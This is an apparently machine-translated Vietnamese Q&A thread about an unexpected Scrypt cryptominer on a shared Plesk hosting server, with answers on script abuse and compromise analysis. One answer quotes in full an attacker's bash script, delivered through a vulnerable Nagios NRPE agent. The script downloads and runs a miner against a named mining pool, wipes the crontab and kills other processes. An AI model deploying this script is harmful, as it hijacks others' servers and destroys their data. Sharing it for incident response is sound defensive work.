Tôi đã bị hack?


8

Tôi chạy một máy chủ chuyên dụng, nơi tôi nhận thấy việc sử dụng CPU cao gần đây và kiểm tra các quy trình. Có vẻ như ai đó (tài khoản mick) đang khai thác trên máy chủ của tôi. Sao có thể như thế được? Quá trình dưới đây. Tôi đã bị treo tài khoản. Tôi cần phải làm gì nữa?

25516 mick  30  10  778m 6728 1132 S 740.5  0.2   8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B

kiểm tra cronjobs cho mỗi người dùng.
TPS

5
Thêm một chút thông tin về việc bạn đã tạo tài khoản đó và ai có quyền truy cập sẽ hữu ích. Nếu bạn là người duy nhất nên có quyền truy cập, thì có lẽ bạn đã bị hack -> cài đặt lại từ đầu.
Anthon

Nó là một máy chủ lưu trữ web sử dụng bảng điều khiển Plesk. Có một số khách hàng trên máy chủ với nhiều tên miền khác nhau, v.v.
Booboo

Các máy khách không có quyền truy cập root vào máy chủ, chỉ cần ftp
Booboo

2
Điều này trông giống như một công cụ khai thác tiền điện tử Scrypt.
TheDoctor

Câu trả lời:


11

Nếu bạn đang chạy một máy chủ web cho phép kịch bản phía máy chủ (php, ruby, v.v.), điều này rất dễ thực hiện.

Tất cả những gì người dùng phải làm là tạo một tập lệnh tải tập tin xuống /tmp/sh64và sau đó chạy nó. Các tập lệnh web thường cần có khả năng thực thi các chương trình bên ngoài, và vì vậy loại hoạt động này rất khó ngăn chặn.

Nếu micktài khoản là cùng một tài khoản được sử dụng để chạy các tập lệnh web của người dùng, thì tôi sẽ nói rằng không, bạn không bị hack. Chỉ cần một người dùng lạm dụng tài khoản của họ.

Nếu bạn muốn ngăn chặn hành vi này, có một vài cách để ngăn chặn nó. Bạn có thể không cho phép gọi các chương trình bên ngoài. Hoặc bạn có thể làm một cái gì đó như giết các chương trình chạy dài (ví dụ, bất cứ thứ gì còn chạy trong hơn 60 giây).
Không biết thêm chi tiết về thiết lập của bạn, quá trình hành động tốt nhất rất khó xác định.


1
Làm cách nào để tôi không cho phép gọi các chương trình bên ngoài
Booboo

Lựa chọn của bạn khác nhau. Tôi sẽ gửi một câu hỏi khác. Cung cấp chi tiết về cách thiết lập máy chủ web của bạn và ngôn ngữ kịch bản mà khách hàng của bạn đang sử dụng. Một chroot đơn giản có thể hoạt động, nhưng cần các chi tiết.
Patrick

2

Tôi đã có một vấn đề tương tự. Họ đã khai thác một phiên bản lỗi thời của đại lý NRPE của Nagios để chạy wgetmột tập lệnh cài đặt và định cấu hình công cụ khai thác bitcoin từ Sourceforge (trình nền NRPE đã dont_blame_nrpebật). Tôi không tìm thấy bất cứ điều gì cho thấy nỗ lực trên máy của tôi là dai dẳng.

Đây là tập lệnh được sử dụng để cài đặt và thiết lập công cụ khai thác Bitcoin:

#!/bin/bash

miner_path="/tmp/tester"
miner_path2="/tmp/var/tester"
miner_path3="/dev/shm/tester"
stratum="stratum+tcp://multi1.wemineall.com:80"
worker="weedee.1"
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
name="work.sh"
if [ -z "$myproc" ]
then    
    system=`uname -a`
    i686=`echo $system|grep i686`
    if ! [ -z "$i686" ]
      then

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664640&use_mirror=netcologne"
      else

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664665&use_mirror=netcologne"
    fi

    dll=`wget -q -O $miner_path $url;tar zxvf $miner_path -C /var/tmp/;mv /var/tmp/minerd $miner_path;chmod +x $miner_path`
    spwn=`$miner_path -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /var/tmp/ trying in /dev/shm
    if [ -z "$myproc" ]
    then
        #dll=`wget $url -O $miner_path2;chmod +x $miner_path2`
        dll=`wget -q -O $miner_path2 $url;tar zxvf $miner_path2 -C /tmp/;mv /tmp/minerd $miner_path2;chmod +x $miner_path2`
        spwn=`$miner_path2 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /tmp/ trying in /tmp
    if [ -z "$myproc" ]
    then        
        dll=`wget -q -O $miner_path3 $url;tar zxvf $miner_path3 -C /dev/shm/;mv /dev/shm/minerd $miner_path3;chmod +x $miner_path3`
        spwn=`$miner_path3 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi  

myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
  crontab -r
 fi  
 crontab -r
rm -rf /var/tmp/*.sh
kill -9 `ps x | grep -v nagios | grep -v nrpe | grep -v PID | grep -v $name | grep -v tester | grep -v grep | awk '{print $1}'

Kịch bản này hoàn toàn chạy với tư cách là người dùng Nagios, vì vậy nó không cần bất kỳ quyền truy cập root nào.


2

Hệ thống của bạn chắc chắn đã bị xâm phạm hoặc tệ nhất là bị hack. Có những câu chuyện khác mô tả một công cụ khai thác tương tự đang được cài đặt.

Tôi sẽ đảm nhận rằng hệ thống của bạn đã bị xâm nhập và bắt đầu mọi thứ quan trọng từ nó để bạn có thể sao lưu nếu hệ thống chưa được thực hiện.

Phân tích

Nếu bạn tò mò làm thế nào họ tham gia, bạn sẽ cần có một danh sách đầy đủ các dịch vụ (web, mysql, v.v.) mà bạn đã cài đặt và xem liệu có bất kỳ khai thác hoạt động nào cho phép ai đó có được các đặc quyền nâng cao.

Tôi sẽ bắt đầu với bất kỳ sự điều chỉnh web nào là các ứng dụng dựa trên web. Thông thường, các ứng dụng này có thể bị tràn bộ đệm và truy cập để sửa đổi ngăn xếp của máy chủ web để có thể cài đặt các ứng dụng bổ sung.

Đó là trường hợp các loại thỏa hiệp này có thể bị cô lập, do đó, chỉ cần loại bỏ phần mềm vi phạm và phần mềm độc hại có thể đủ để khắc phục nó mà không phải chịu chi phí thời gian để thực hiện khôi phục / thiết lập toàn bộ hệ thống.

Nếu hệ thống này được xây dựng bằng hình ảnh dựa trên VPS thì tôi sẽ làm việc với nhà cung cấp, vì việc vá nó dường như là lợi ích tốt nhất của họ cho tất cả khách hàng của họ.

Ngoài việc thỏa hiệp ngăn xếp web

Tất cả mọi thứ trên hộp phải được xem xét kỹ lưỡng và về cơ bản là không đáng tin cậy, nhưng tôi sẽ mất một chút thời gian để xem liệu bạn có thể biết được kẻ tấn công đang đăng nhập từ đâu không, nếu có. Họ có thể đăng nhập bằng tài khoản SSH đã được thêm vào hệ thống sau khi thỏa hiệp.

Đây có thể là một nhiệm vụ khó khăn mất nhiều ngày để phân tích, đặc biệt là nếu bạn không thể tin tưởng bất kỳ công cụ nào trên hộp để hỗ trợ trong nỗ lực này. Tôi sẽ khuyến khích bất cứ ai dành thời gian này để hiểu hệ thống của họ bị xâm phạm như thế nào để bạn có thể giảm thiểu rủi ro xảy ra lần nữa trong tương lai, ít nhất là thông qua vectơ cụ thể này.

Nếu đây không phải là một loại vấn đề sản xuất, thì đây thực sự là một cơ hội học tập tốt để có được cái nhìn sâu sắc có giá trị về cách các hệ thống có thể bị xâm phạm và quyền truy cập có thể bị "tận dụng" bởi những kẻ tấn công.

Tráng bạc?

Vì hệ thống đang được sử dụng cho mục đích khai thác nên có khả năng họ đã sử dụng bộ công cụ kịch bản tự động, vì việc tấn công đủ hệ thống để thiết lập các công cụ khai thác zombie có vẻ như sẽ mất rất nhiều thời gian. Khi các công cụ như thế này được sử dụng, chúng thường kém chất lượng trong quá trình xây dựng, chỉ đơn giản là tìm cách làm tối thiểu để có chỗ đứng và sau đó cung cấp trọng tải của chúng (phần mềm khai thác), vì vậy bạn có thể gặp may mắn và có thêm thông tin chi tiết vào cách họ có thể vào được.


4
Không cần thiết. Nếu máy chủ web cho phép tập lệnh phía máy chủ và micktài khoản là người dùng được sử dụng để chạy tập lệnh, điều này có thể dễ dàng thực hiện mà không cần hack máy chủ. Lạm dụng, có. Hack, không.
Patrick

@Patrick - rất đúng, tôi đã sửa đổi chữ A để phản ánh điều này. Cảm ơn.
slm
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.